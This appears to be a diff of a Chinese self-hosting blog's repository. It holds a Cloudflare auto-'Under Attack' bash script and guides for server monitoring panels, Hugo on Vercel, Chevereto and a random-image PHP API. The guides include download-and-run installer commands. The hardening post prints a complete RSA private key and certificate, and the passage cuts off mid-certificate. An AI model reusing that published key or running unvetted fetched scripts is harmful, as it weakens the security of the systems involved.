check="6"
#自定义开盾阈值非必需。load模式建议设为CPU核心数 + 2如4核则设为6。
#load模式填负载值 如:8 cpu模式填百分数值 如:90
# --------------------------下方无需修改--------------------------
api_url="https://api.cloudflare.com/client/v4/zones/$zone_id/settings/security_level"
# API的地址
api_url1="https://api.cloudflare.com/client/v4/zones/$zone_id/firewall/rules"
# API的地址之二
api_url2="https://api.cloudflare.com/client/v4/zones/$zone_id/filters"
# API的地址之三
# 安装依赖
if ! which jq &> /dev/null; then
echo "jq not found!"
if [[ -f "/usr/bin/apt-get" ]]; then
apt-get install -y jq
elif [[ -f "/usr/bin/dnf" ]]; then
dnf install -y epel-release
dnf install -y jq
elif [[ -f "/usr/bin/yum" ]]; then
yum install -y epel-release
yum install -y jq
fi
fi
for ((;;)); do
if [[ "$mode" == "cpu" ]]; then
check=${check:-90}
#系统空闲时间
TIME_INTERVAL=5
time=$(date "+%Y-%m-%d %H:%M:%S")
LAST_CPU_INFO=$(cat /proc/stat | grep -w cpu | awk '{print $2,$3,$4,$5,$6,$7,$8}')
LAST_SYS_IDLE=$(echo $LAST_CPU_INFO | awk '{print $4}')
LAST_TOTAL_CPU_T=$(echo $LAST_CPU_INFO | awk '{print $1+$2+$3+$4+$5+$6+$7}')
sleep ${TIME_INTERVAL}
NEXT_CPU_INFO=$(cat /proc/stat | grep -w cpu | awk '{print $2,$3,$4,$5,$6,$7,$8}')
NEXT_SYS_IDLE=$(echo $NEXT_CPU_INFO | awk '{print $4}')
NEXT_TOTAL_CPU_T=$(echo $NEXT_CPU_INFO | awk '{print $1+$2+$3+$4+$5+$6+$7}')
#系统空闲时间
SYSTEM_IDLE=$(echo ${NEXT_SYS_IDLE} ${LAST_SYS_IDLE} | awk '{print $1-$2}')
#CPU总时间
TOTAL_TIME=$(echo ${NEXT_TOTAL_CPU_T} ${LAST_TOTAL_CPU_T} | awk '{print $1-$2}')
load=$(echo ${SYSTEM_IDLE} ${TOTAL_TIME} | awk '{printf "%.2f", 100-$1/$2*100}')
else
load=$(cat /proc/loadavg | colrm 5)
check=${check:-$(cat /proc/cpuinfo | grep "processor" | wc -l)}
fi
if [[ ! -f "status.txt" ]]; then
echo "" > status.txt
else
status=$(cat status.txt)
fi
if [[ -f "ruleid.txt" ]]; then
ruleid=$(cat ruleid.txt)
fi
if [[ -f "filterid.txt" ]]; then
filterid=$(cat filterid.txt)
fi
now=$(date +%s)
time=$(date +%s -r status.txt)
echo "当前$mode负载:$load"
if [[ $status -eq 1 ]]; then
echo "UAM ON!"
if [[ "$challenge" -eq 1 ]]; then
echo "Challenge ON!"
fi
else
echo "UAM OFF!"
if [[ "$challenge" -eq 1 ]]; then
echo "Challenge OFF!"
fi
fi
newtime=$(expr $now - $time)
closetime=$(expr $keeptime - $newtime)
if [[ $(awk 'BEGIN {print ('$load'<'$check') ? 1:0}') -eq 1 ]] && [[ $status -eq 1 ]] && [[ $newtime -gt $keeptime ]]; then
echo -e "\n$mode负载低于$check当前已开盾超过规定时间$newtime秒尝试调整至默认安全等级$default_security_level"
# Disable Under Attack Mode
result=$(curl -X PATCH "$api_url" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" \
--data "{
\"value\": \"$default_security_level\"
}" --silent \
| jq -r '.success')
if [[ "$result" = "true" ]]; then
echo 0 > status.txt
echo -e "\n成功"
fi
if [[ "$challenge" -eq 1 ]]; then
result=$(curl -X DELETE "$api_url1/$ruleid" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" \
--silent)
result1=$(curl -X DELETE "$api_url2/$filterid" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" \
--silent)
if echo $result | jq -e '.success' && echo $result1 | jq -e '.success'; then
echo -e "\n验证码关闭成功"
fi
fi
elif [[ $(awk 'BEGIN {print ('$load'<'$check') ? 1:0}') -eq 1 ]]; then
echo -e "\n$mode负载低于$check不做任何改变状态持续了$newtime秒"
if [[ $status -eq 1 ]]; then
echo -e "将于$closetime秒后调整安全等级至$default_security_level"
fi
elif [[ $(awk 'BEGIN {print ('$load'>'$check') ? 1:0}') -eq 1 ]] && [[ $status -eq 1 ]] && [[ $newtime -gt $keeptime ]]; then
echo -e "\n$mode负载高于$check当前已开启UAM超过$keeptime秒UAM无效"
elif [[ $(awk 'BEGIN {print ('$load'>'$check') ? 1:0}') -eq 1 ]] && [[ $status -eq 1 ]]; then
echo -e "\n$mode负载高于$check当前已开启($newtime秒),请再观察"
elif [[ $(awk 'BEGIN {print ('$load'>'$check') ? 1:0}') -eq 1 ]]; then
echo -e "\n$mode负载高于$check开启UAM"
# Enable Under Attack Mode
result=$(curl -X PATCH "$api_url" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" \
--data "{
\"value\": \"under_attack\"
}" --silent \
| jq -r '.success')
if [[ "$result" = "true" ]]; then
echo 1 > status.txt
echo -e "\n成功"
fi
if [[ "$challenge" -eq 1 ]]; then
while :; do
result=$(curl -X POST "$api_url2" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" \
--data '[{
"expression": "(not cf.client.bot)"
}]' --silent)
if echo $result | jq -e '.success'; then
filterid=$(echo $result | jq -r '.result[].id')
else
filterid=$(echo $result | jq -r '.errors[].meta.id')
for i in $filterid; do
result1=$(curl -X DELETE "$api_url2/$i" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" --silent)
done
if echo $result1 | jq -e '.success'; then
echo "\n冲突的filter删除成功"
fi
fi
echo $result | jq -e '.success' && break
done
result=$(curl -X POST "$api_url1" \
-H "X-Auth-Email: $email" \
-H "X-Auth-Key: $api_key" \
-H "Content-Type: application/json" \
--data "[{
\"action\": \"challenge\",
\"filter\": {
\"id\": \"$filterid\",
\"expression\": \"(not cf.client.bot)\"
}
}]" --silent)
if echo $result | jq -e '.success'; then
ruleid=$(echo $result | jq -r '.result[].id')
echo "$filterid" > filterid.txt
echo "$ruleid" > ruleid.txt
echo -e "验证码开启成功规则id$ruleid"
fi
fi
else
echo 0 > status.txt
fi
sleep $interval
clear
done

View File

@ -0,0 +1,35 @@
---
title: "各大搜索引擎站长平台地址汇总"
date: 2021-09-05T12:30:00+08:00
tags: []
---
## 百度站长平台
百度搜索引擎是国内最主流的搜索引擎当然百度站长平台也是站长们使用最多的平台功能很齐全网站各个方面的数据都显示的很到位能够很好地辅助站长们进行SEO优化。
## 搜狗站长平台
搜狗站长平台和百度相比就显得略逊一些只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度但目前搜狗站长平台还是很少更新站长学院的公告在17年之后就没有更新了。
## 360站长平台
360站长平台在国内勉强排上第二和百度相比360的功能还不够完善算法也是偶尔更新一次而且不知道你有没有发现360收录干货文章特别难这也让很多站长放弃了360优化。
## 神马站长平台
神马搜索引擎针对的是移动用户,最近的夸克浏览器大家应该都听说过吧,夸克内置搜索引擎就是神马,属于阿里的产品,虽然推出了站长平台,但是大头感觉并没有什么用...
## 必应站长平台
必应是微软旗下的搜索引擎记得以前更新W10的时候浏览器自带的就是必应搜索引擎国内用户很少估计有的人听都没听过。
## 头条站长平台
头条搜索是最近搜索行业杀出来的一匹黑马,目前还处于测试阶段,有些功能还不够完善,不过头条可是自媒体大佬,所以站长们对头条站长平台抱有很大的希望。
## 谷歌站长平台
谷歌站长平台跟百度一样功能都很完善,算法也是经常更新,但不知道什么原因谷歌推出了国内市场,国人访问谷歌搜索引擎也会被墙
[1]: https://ziyuan.baidu.com/
[2]: http://zhanzhang.sogou.com/
[3]: http://zhanzhang.so.com/
[4]: https://zhanzhang.sm.cn/
[5]: https://www.bing.com/toolbox/webmaster/
[6]: https://zhanzhang.toutiao.com/
[7]: https://search.google.com/search-console/about?hl=zh-CN

View File

@ -0,0 +1,154 @@
---
title: "哪吒面板 - 服务器状态监控面板 Linux与Windows部署"
date: 2022-03-26T09:19:00+00:00
tags: ["服务器探针", "cloudflare"]
---
## Linux 客户端部署
### 一、域名解析需要的操作
开始之前,请先确定你搭建探针的域名。强烈建议使用两个(子)域名进行解析:
1. 第一个是面板的域名,套 CDN 比较方便。
2. 第二个仅仅解析到面板服务器的域名,用于客户端连接服务端试用(这个可以没有,但是不建议,如果直接用 IP 的话,迁移面板后会非常麻烦)。
比如 `lsy.plus` 作为面板的域名,还有一个 `ip.lsy.plus` 是用来记录面板服务器的 IP。
也可以使用服务器 IP 来做面板域名。将这两个域名都解析到部署面板服务器的 IP。
### 二、配置 GitHub
先打开:[GitHub OAuth Apps](https://github.com/settings/developers),然后点击 New OAuth App 按钮:
- **Application name:** 名字随便
- **Homepage URL:** 面板的域名,例如 https://lsy.plus
- **Authorization callback URL:** 面板的域名 + `/oauth2/callback`,例如 https://lsy.plus/oauth2/callback
然后在这个页面点击 Generate a new client secret 创建你的 client secrets。
### 三、配置你的服务器
需要放行 `8008`、`5555` 两个端口,这是默认的,如果你程序中改为其他的,防火墙放行相应的端口。
#### 部署面板服务:
github镜像
```bash
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
./nezha.sh
```
国内机器可以使用:
```bash
curl -L https://raw.sevencdn.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
CN=true ./nezha.sh
```
运行后选择安装面板端回复数字,接着输入前面记录下来的 GitHub 账号 ID、OAuth Apps 的 Client ID、OAuth Apps 的 Client secrets。
到这里面板服务算是完成了大部分了。可以访问 http://域名:8008 查看,用你的 GitHub 账号验证登录。
#### 宝塔配置反代:
```nginx
location / {
proxy_pass http://127.0.0.1:8008;
proxy_set_header Host $host;
}
location /ws {
proxy_pass http://127.0.0.1:8008;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
proxy_set_header Host $host;
}
location /terminal {
proxy_pass http://127.0.0.1:8008;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
proxy_set_header Host $host;
}
```
配置 SSL 就不用说了,常规建站怎么配置,这个就怎么配置。如果没有问题,就可以通过 https://域名/ 来访问了。改好之后就可以对 8008 端口取消放行了。
关于套 CDN就和常规建站一样比如将 tz.a0s.cc 解析到 CDN 服务商,回源地址填部署面板的服务器 IP但要注意 CDN 需要支持 WebSocket 协议。
### 四、关于客户端(被监控机器)需要的操作
通过 lsy.plus 登录后台如果没配置反代、SSL那它将是 [http://lsy.plus:8008]。用你的 GitHub 账号验证登录后跳转到 [lsy.plus]。后台添加主机。
到需要被监控的机器执行脚本,点击小企鹅图标,会自动复制代码,到被控主机执行就行了。
## Windows 客户端部署
### 一、下载必须软件
[哪吒探针](https://github.com/naiba/nezha/releases)
[nssm](http://nssm.cc/download)
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口cd nssm解压的位置。
### 二、设置 NSSM
管理员启动 CMD输入
```bash
nssm install <servername>
```
>如: nssm install nezha
>
弹出 UI设置如下
```bash
Path: 选择哪吒探针客户端
Startup directory: 选择了客户端会自动填充
Arguments: 启动参数
```
启动参数格式为:
```bash
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
```
>例如:
>
>-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
>
>自己对应修改,填写完毕后,点击 Install Servce。
### 三、启动服务
此时退回到 CMD 界面,`nssm start nezha`
然后按 Win + R 打开运行窗口,输入 `services.msc`
查看是否有叫 `nezha` 的服务,然后查看启动情况,如果失败了,请查看一下配置是否出错。
### 四、nssm 命令参考
#### 安装服务命令
```bash
nssm install <servicename>
nssm install <servicename> <program>
nssm install <servicename> <program> [<arguments>]
```
#### 删除服务
```bash
nssm remove
nssm remove <servicename>
nssm remove <servicename> confirm
```
#### 启动、停止服务
```bash
nssm start <servicename>
nssm stop <servicename>
nssm restart <servicename>
```
#### 查询服务状态
```bash
nssm status <servicename>
```
#### 服务控制命令
```bash
nssm pause <servicename>
nssm continue <servicename>
nssm rotate <servicename>
```
有多台被监控机器时,按照此步骤在控制面板添加服务器

View File

@ -0,0 +1,34 @@
---
title: "宝塔面板下站点如何只限定CDN的IP节点回源请求"
date: 2023-07-10T20:21:00Z
tags: ["cloudflare"]
---
受限于宝塔面板默认防火墙Firewalld的限制要想宝塔面板下站点如何只限定CDN的IP节点回源请求的话最简便有效的办法就是将CDN 的IP节点一个一个的加入到宝塔的【端口规则】里需要限制哪个端口就在哪个端口下添加。
## 1. 修改所有IP为指定IP
我们选择的是443端口默认宝塔是开放443端口给所有IP的所以这里我们必须修改443端口规则为"指定IP",切记切记哦!
## 2. 添加CDN 节点IP地址段
给443添加了一个CloudFlare的IPv4节点IP地址段意思就是这个103.21.244.0/22地址段的IP都可以回源请求443端口。具体CloudFlare的节点IP可以到这里查看[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
剩下的我们只需要一个一个的把CloudFlare的IPv4节点IP地址段这样添加即可如果是80端口也是同样的。有人会说这样很麻烦效率太低不科学那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加具体步骤很简单我们可以制作一个导入CloudFlare的IP节点的.json具体内容如下参考
```json
43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0|
42|tcp|443|accept|172.64.0.0/13|172.64.0.0/13|2023-07-10 20:00:54||0|
41|tcp|443|accept|104.24.0.0/14|104.24.0.0/14|2023-07-10 20:00:26||0|
40|tcp|443|accept|104.16.0.0/13|104.16.0.0/13|2023-07-10 20:00:12||0|
39|tcp|443|accept|162.158.0.0/15|162.158.0.0/15|2023-07-10 19:59:58||0|
38|tcp|443|accept|198.41.128.0/17|198.41.128.0/17|2023-07-10 19:59:41||0|
37|tcp|443|accept|197.234.240.0/22|197.234.240.0/22|2023-07-10 19:59:14||0|
36|tcp|443|accept|188.114.96.0/20|188.114.96.0/20|2023-07-10 19:58:59||0|
35|tcp|443|accept|190.93.240.0/20|190.93.240.0/20|2023-07-10 19:58:41||0|
34|tcp|443|accept|108.162.192.0/18|108.162.192.0/18|2023-07-10 19:58:25||0|
33|tcp|443|accept|141.101.64.0/18|141.101.64.0/18|2023-07-10 19:58:11||0|
32|tcp|443|accept|103.31.4.0/22|103.31.4.0/22|2023-07-10 19:57:48||0|
31|tcp|443|accept|103.22.200.0/22|103.22.200.0/22|2023-07-10 19:57:30||0|
30|tcp|443|accept|103.21.244.0/22|103.21.244.0/22|2023-07-10 19:57:10||0|
6|tcp|443|accept|173.245.48.0/20|173.245.48.0/20|2023-07-10 19:56:47||0|

View File

@ -0,0 +1,206 @@
---
title: "将hugo部署在vercel"
date: 2023-12-20T22:52:16+08:00
tags: []
---
## 一. 准备
**安装 [git](https://git-scm.com/book/zh/v2/%E8%B5%B7%E6%AD%A5-%E5%AE%89%E8%A3%85-Git)** (如果不会使用可以去看我写的 `Git 使用方法`)
**安装 [vercel](https://vercel.com/docs/cli)** (需要先安装 [npm](https://nodejs.cn/npm/cli/v8/configuring-npm/install/))
**下载 [hugo](https://github.com/gohugoio/hugo/releases)**
## 二. 生成站点文件
### 2.1 使用 hugo 生成
将 hugo 转到你准备存放博客的文件夹:
PowerShell 进入这个文件夹(将 myblog 替换为想要的博客文件夹名)
```powershell
.\hugo new site myblog
```
### 2.2 变成 Git 可以管理的仓库
cmd 进入刚刚创建的博客文件夹
```bash
git init
```
## 三. 配置主题
先去 [hugo 主题官网](https://themes.gohugo.io/) 找到自己喜欢的主题,然后点击下载会跳转到主题的 github。
把终端的路径调整到博客文件夹的 themes 目录下。
使用该主题的方法就是在站点文件夹下的配置文件里输入主题的名字:
```yaml
theme: 主题名字 # 主题名字,和 themes 文件夹下的一致
```
## 四. 配置文件
### 4.1 站点配置文件
站点配置文件推荐改成 .yaml 后缀的写法,因为更适合阅读,反正 .toml 的写法我是不习惯,详细的可以看 [hugo 的官方文档](https://gohugo.io/getting-started/configuration)。
我使用的是 [sulv-hugo-papermod](https://github.com/xyming108/sulv-hugo-papermod) 配置好的 [PaperMod](https://github.com/adityatelange/hugo-PaperMod)。
### 4.2 添加 Hugo 的版本号
1. 将 hugo 复制到站点文件夹
2. 打开 PowerShell 进入站点文件夹
3. 查看 Hugo 版本号
```powershell
./hugo version
```
4. 设置 Hugo 版本号
例如我的版本号是 `hugo v0.121.1-00b46fed8e47f7bb0a85d7cfc2d9f1356379b740 windows/amd64 BuildDate=2023-12-08T08:47:45Z VendorInfo=gohugoio`
添加:
```yaml
build:
environment:
HUGO_VERSION: "0.121.1"
```
或者:
```toml
[build.environment]
HUGO_VERSION = "0.121.1"
```
### 4.3 屏蔽 git 可上传文件
在根目录新建文件 `.gitignore`,添加内容:
```gitignore
# 屏蔽运行产生文件
.hugo_build.lock
# 屏蔽本文件
.gitignore
# 其他文件
**/.git
**/.github
**/.vercel
**/public
# 构建文件
hugo.exe
.vercel
```
## 五. 目录设置
注意content 里每个文件夹内都要添加一个 `_index.md` 文件,该文件里面可以加 Front Matter 用来控制标题或其它的展示。
## 六. 启动博客
在终端进入站点目录直接输入:
```bash
./hugo server -D
```
或:
```bash
vercel dev
```
就可以在本地预览了。
## 七. 写文章
输入 `hugo new 文章名称.md` 就会在 content 目录下生成 "文章名称.md" 名字的文件,所有文章都是放在 content 这个文件夹里。
如果自己还定义了分类目录,如在 content 目录的 posts 目录下有 blog、read、tech、life 等文章分类,那么在用命令生成文章的时候,如果要把文章生成到指定目录,可以用命令:`hugo new posts/tech/文章名称.md`,这样就会把文章生成到 tech 目录下。
也可以直接到 `\content\posts` 下去添加 `.md` 文件直接写。
生成的文章内部头部配置信息包括一些文章名称,时间之类的信息,可以事先在目录 `archetypes/default.md` 下使用模板,这样在用命令 `hugo new` 生成文章后会自动加上模板里的配置。
我的模板如下(里面有一些字段是我自己自定义的,不是 papermod 默认带有的,直接使用该字段可能会无效,请酌情使用)(注意:这是 PaperMod 主题的配置,通用的请看 [官方文档的 Front Matter 配置](https://gohugo.io/content-management/front-matter) 或各个主题自己的配置):
```yaml
title: "{{ replace .Name "-" " " | title }}" # 标题
date: {{ .Date }} # 创建时间
lastmod: {{ .Date }} # 更新时间
author: ["Lsy"] # 作者
categories:
- 分类1
- 分类2
tags:
- 标签1
- 标签2
description: "" # 描述
weight: # 输入1可以顶置文章用来给文章展示排序不填就默认按时间排序
slug: ""
draft: false # 是否为草稿
comments: true # 是否展示评论
showToc: true # 显示目录
TocOpen: true # 自动展开目录
hidemeta: false # 是否隐藏文章的元信息,如发布日期、作者等
disableShare: true # 底部不显示分享栏
showbreadcrumbs: true # 顶部显示当前路径
cover:
image: "" # 图片路径posts/tech/文章1/picture.png
caption: "" # 图片底部描述
alt: ""
relative: false
```
## 八. 上传 hugo 到托管平台
不会看我写的 `Git 使用方法`
## 九. 部署到 Vercel
### 9.1 注册 Vercel
注册一个 [Vercel](https://vercel.com/) 账号,这里我们直接使用 GitHub 账号进行登录,因为这样方便导入仓库。
### 9.2 新建项目
选择刚刚保存 hugo 的项目:
```yaml
Framework Preset: Hugo
Environment Variables:
- Key: HUGO_VERSION
- Value: 0.121.1 # 第四步里面的版本号
其他默认
```
点击发布,完成。
## 十. 使用 Cloudflare 加速
> vercel 的节点速度不错但是会莫名无法访问
### 10.1 解析到 vercel
进入 CF 中域名控制台,点击上方 DNS 图标添加记录A 记录或者 CNAME 记录解析到你部署在 vercel 的项目。但是这个时候 vercel 仍然会显示未正确配置,并且这个时候访问很有可能返回错误。因为当 vercel 构建项目时,构建过程的最后一步是颁发 SSL 证书。作为此步骤的一部分vercel 向 域名/.well-known/acme-challenge 发出 HTTP 请求。如果此 HTTP 请求被重定向到 HTTPSVercel 将无法颁发 SSL 证书。
### 10.2 创建 https 例外页面规则
在 CF 控制台的 `规则` 选项卡中选择 `创建页面规则`
在"如果 URL 匹配"文本字段中输入:
```text
*example.com/.well-known/*
```
选择设置 `SSL` 并在下拉列表中选择 `关`
点击 `保存并部署` 按钮。

View File

@ -0,0 +1,75 @@
---
title: "搭建Chevereto中文版"
date: 2021-08-14T20:23:00+08:00
tags: []
---
## 1. 环境准备
* [宝塔面板](https://www.bt.cn/new/index.html)
* PHP 7.4
* MySQL 5.7 / 8 或 MariaDB 10
* Apache HTTP Web Server 或 Nginx
## 2. 下载
中文修改版: [https://github.com/rodber/chevereto-free/releases](https://github.com/rodber/chevereto-free/releases)
官方原版: [https://github.com/chevereto/chevereto/releases](https://github.com/chevereto/chevereto/releases)
## 3. 伪静态
在安装之前需要先设置伪静态,代码如下:
```nginx
location ~ /(app|content|lib|importer)/.*\.(po|php|lock|sql|txt)$ {
deny all;
}
# Enable CORS header (needed for CDN)
location ~* \.(ttf|ttc|otf|eot|woff|woff2|css|js)$ {
add_header Access-Control-Allow-Origin "*";
}
# Force serve upload path as static content (match your upload folder if needed)
location /images {}
# Route dynamic request to index.php
location / {
try_files $uri $uri/ /index.php$is_args$query_string;
}
```
## 4. 安装
浏览器打开你的域名访问,开始安装。
## 5. 常见问题
### 5.1 图床上传大图片提示 Internal Server Error
#### 设置 PHP 参数
```ini
max_execution_time
max_input_time
memory_limit
post_max_size
upload_max_filesize
```
把这些值调大一些,然后重启 PHP。
### 5.2 邮件模板
支持:
1. 账号更换邮箱
2. 新账户注册验证
3. 账户重置密码
4. 新用户注册欢迎
5. 更改邮件模板头图
上传邮件模板文件至 Chevereto `/app/themes/Peafowl/mails` 文件目录下即可,或者直接替换掉 `mails` 目录亦可。
文件: [https://lsy22.lanzouf.com/i9crn0u8anhe](https://lsy22.lanzouf.com/i9crn0u8anhe)

View File

@ -0,0 +1,26 @@
---
title: "搭建本地图床 API 可搭配 Chevereto 使用"
date: 2023-04-27T19:10:00+08:00
tags: []
---
首先,你需要在你的网站服务器上安装 PHP并确保它能够正常运行。
然后,你需要在你的网站目录下创建一个名为 `images` 的文件夹,并将你想要用作随机图片的图片文件上传到该文件夹中。
接下来,你可以将以下 PHP 代码保存为一个 PHP 文件,例如 `api.php`,并将它上传到你的网站目录下。
```php
<?php
$dir = 'images'; // 图片存放目录
$arr = scandir($dir); // 列出目录下所有的文件
$arr = array_filter($arr, function($file) {
return strpos($file, '.th') === false && strpos($file, '.md') === false;
}); // 需要过滤的元素(不需要可以删除)
array_splice($arr, 0, 2); // 移除数组中的元素,因为获取到的第一个和第二个元素是 . 和 .. 代表当前目录和上一级目录
shuffle($arr); // 把数组中的元素按随机顺序重新排列
$image = $arr[0]; // 读取重新排列后的数组中的第一个元素
Header("Location: $dir/$image");
?>
```
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时它都会随机选择一个图片文件并重定向到该图片的URL。

View File

@ -0,0 +1,184 @@
---
title: "服务器探针ServerStatus探针安装教程"
date: 2021-07-31T10:02:00+08:00
tags: [ "服务器探针" ]
---
## 食用方式
PS以下使用方式二方式一直接运行傻瓜安装即可
### 脚本进行安装会要求安装Caddy与Nginx不能同时安装有能力的自行DIY
```bash
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
bash status.sh
```
### 手动编译安装可搭配宝塔使用Nginx提供服务
#### 下载ServerStatus-USee
```bash
git clone https://gitee.com/useenet/serverTZ.git
mv serverTZ /usr/serverTZ
```
## 安装服务端
### 使用宝塔创建一个空网页PS域名框使用域名或IP均可
### 复制监控展示页到宝塔新建的网站目录中
```bash
cp -r /usr/serverTZ/web/* /www/wwwroot/自己的站点
```
### 进入服务端配置目录
```bash
cd /usr/serverTZ/server
```
### 安装环境并进行编译
```bash
apt-get install gcc gcc-c++ kernel-devel
make
```
### 配置服务端信息
```bash
vim config.json
```
内容:
```json
{
"servers": [
{
"username": "username",
"password": "password",
"name": "vpsname",
"type": "type",
"host": "No",
"location": "China",
"disabled": false,
"region": "CN"
},
{
"username": "连接用户名",
"password": "连接密码",
"name": "监控显示名称",
"type": "监控显示类型",
"host": "No",
"location": "国家",
"disabled": false,
"region": "国旗"
}
]
}
```
### 在宝塔中打开serverTZ默认端口
> 35601
### 编辑完成后在server目下进行测试,webdir为web站点路径
```bash
./sergate --config=config.json --web-dir=/www/wwwroot/站点
```
进入对应的监控站点查看是否有监控网页模板
### 将此进程注册为系统服务
关闭之前进程,进入`/usr/serverTZ/systemd/`
> ctrl + c
```bash
cd /usr/serverTZ/systemd/
```
注册过程,系统服务文件我已经编辑好,直接使用即可
```bash
chmod +x serverTZs.service
cp serverTZs.service /lib/systemd/system
systemctl daemon-reload
systemctl start serverTZs.service
systemctl enable serverTZs.service
```
> #赋权
> #拷贝进系统服务目录
> #重新加载系统服务
> #启动服务端并设置开机自启
### 在配置文件中增加服务器主机后重启
```bash
systemctl restart serverTZs.service
```
## 安装客户端
此处在服务端中部署客户端监控本机为例
### 下载、更名、移动目录到指定文件夹
```bash
git clone https://gitee.com/useenet/serverTZ.git
mv serverTZ /usr/serverTZ
```
### 进入客户端配置目录
```bash
cd /usr/serverTZ/clients
```
### 检查已安装的python版本,版本需要2.7及以上
```python
python -V
```
若无执行客户端运行环境
```bash
apt-get install epel-release python-pip
apt-get update
apt-get install gcc python-devel
pip install psutil
```
### 修改客户端配置文件
```bash
vim status-client.py
```
```python
SERVER = "127.0.0.1" #修改为服务端地址
PORT = 35601
USER = "USER" #客户端用户名
PASSWORD = "USER_PASSWORD" #客户端密码
INTERVAL = 1 #更新间隔
```
### 运行测试
```python
python status-client.py
```
### 将此进程注册为系统服务
### 关闭之前进程,进入`/usr/serverTZ/systemd/`
> ctrl + c
```bash
cd /usr/serverTZ/systemd/
```
注册过程,系统服务文件我已经编辑好,直接使用即可
```bash
chmod +x serverTZc.service
cp serverTZc.service /lib/systemd/system
systemctl daemon-reload
systemctl start serverTZc.service
systemctl enable serverTZc.service
```
> #赋权
> #拷贝进系统服务目录
> #重新加载系统服务
> #启动服务端并设置开机自启
在配置文件中增加服务器主机后重启
```bash
systemctl restart serverTZc.service
```

View File

@ -0,0 +1,129 @@
---
title: "记录一下服务器和网站的安全防护"
date: 2023-07-12T20:21:00+08:00
tags: []
---
## 宝塔
### 1. 软件
1. **Nginx防火墙** 防止小型ddos和常见恶意攻击
2. **宝塔系统加固:** 阻止恶意程序运行
3. **系统防火墙:** 管理端口
### 2. 设置默认站点防止域名恶意解析
<details>
<summary>修改默认站点</summary>
1. 在宝塔面板中添加一个不用的站点域名随便写而且不要解析到服务器IP因为我们添加的这个站点没有任何实质性内容。用自己域名或任何域名都没关系百度、谷歌域名都随便用
2. 点击网站域名,在弹出的对话框中点击配置文件,在 `server_name` 下面,添加一行代码,代码内容如下:
```nginx
return 500;
```
3. 找一份现成的 SSL证书密钥key 和证书(PEM格式),要真实有效的那种,放到上面你添加的站点中。具体位置在宝塔面板 > 域名管理 > SSL > 其他证书中分别添加,然后保存。
勾选"强制HTTPS"。
找一份现成的 SSL证书密钥key 和证书(PEM格式),放到上面你添加的站点中。我是使用的证书和密钥是:
密钥(KEY):
```text
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDXyF6m81zOeoOPvfk6nGKtyfczRG6/yeSkcc+66vGvq0s8oB7V
cCzLl1YcNsru3ixelPR2z1zvjKqa9/Aqh8+TvP1kGGbLD/mynjnj8l+0vVzZ+vnz
AH0RN9fpqzlpHmFBHQzQ25AtIAH8pXOL1541YN0TNPRA3kHUCL0FH8CkwwIDAQAB
AoGAQ4ejh6AV5VCWJ8AOZXdXsofIYzUBa+glNAmiNx8b8BwteZWq0KVAf56nBkFn
lQXW4OrA7wXKUfW11rXNZaIHJePJXv1swkN9+Em18Hon6BrtcqnKAwzAbhok3SzY
IVjI/zrgOABH6+ii77xCRBzI1itVPNN88DAUHC7PYLYiaaECQQD7PSoij37+kMc/
wPeEkl9r3vzU0OrsCsjU8Ev714OaoL/SIuAh6nsiRh9rcbUrrpGSSzIcmsk9HMDa
hXBNkNl5AkEA298yQvssaUc4tbEWxAVfd9DsHJdCdbXfgf9Dy5/tpCzYncY7T0du
VVHqKu3jXWoMc5XlesiCOerU/DIlMM8dGwJBANQn7GLO5iC1xWvS2bF7oVSIMtzL
pvW4jaszWBbNAPccc59RkA9T4LMqn/GtTZ4bhhYRpbl+BB21IC3nrNPzU5ECQG8T
Ln0QDruQs2F2eR3F6RjKfr1i3LxCiQtPPZycypzp2vS5tDS0zVRk8XuGehoy/N9X
lnqU2NURgU92tbsWpokCQQDdc9tU3B/OM/YfzUNwvOLmUVwrJX6PFSFsOn+XHrCC
q9LcGEAHyzaf5GEWje84ee4rkv5oaZcwll3dg4IioBnC
-----END RSA PRIVATE KEY-----
```
证书(PEM格式):
```text
-----BEGIN CERTIFICATE-----
MIIBkjCB/AIJAI3bCYqa39hiMA0GCSqGSIb3DQEBBQUAMA0xCzAJBgNVBAYTAiAg
MCAXDTE4MTEyNDA5MDMzOFoYDzIwOTkxMjMxMDkwMzM4WjANMQswCQYDVQQGEwIg
IDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA18hepvNcznqDj735Opxircn3
M0Ruv8nkpHHPuurxr6tLPKAe1XAsy5dWHDbK7t4sXpT0ds9c74yqmvfwKofPk7z9
ZBhmyw/5sp454/JftL1c2fr58wB9ETfX6as5aR5hQR0M0NuQLSAB/KVzi9eeNWDd
EzT0QN5B1Ai9BR/ApMMCAwEAATANBgkqhkiG9w0BAQUFAAOBgQBiqHZsuVP09ubT
GzBSlAFEoqbM63sU51nwQpzkVObgGm9v9nnxS8Atid4be0THsz8nVjWcDym3Tydp
lznrhoSrHyqAAlK3/WSMwyuPnDCNM5g1RdsV40TjZXk9/md8xWxGJ6n1MoBdlK8T
